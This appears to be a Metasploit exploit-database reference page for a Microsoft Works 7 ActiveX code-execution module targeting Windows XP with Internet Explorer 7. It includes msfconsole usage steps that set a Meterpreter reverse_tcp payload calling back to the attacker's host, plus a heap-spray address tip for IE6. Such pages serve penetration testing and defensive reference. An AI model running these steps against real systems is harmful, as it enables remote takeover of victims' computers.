Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution | Metasploit Exploit Database (DB)

Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution

The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker to execute arbitrary code on a system. By passing a negative integer to the WksPictureInterface method, an attacker could execute arbitrary code on the system with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6. This control is not marked safe for scripting, please choose your attack vector carefully.

Search Other Modules


Exploit Rank

  • Low

Exploit Authors

  • dean < dean [at] zerodaysolutions.com >

Vulnerability References


Exploit Targets

  • 0 - Windows XP SP2-SP3 IE 7.0 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/msworks_wkspictureinterface
msf exploit(msworks_wkspictureinterface) > show payloads
msf exploit(msworks_wkspictureinterface) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(msworks_wkspictureinterface) > set LHOST [MY IP ADDRESS]
msf exploit(msworks_wkspictureinterface) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.html)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session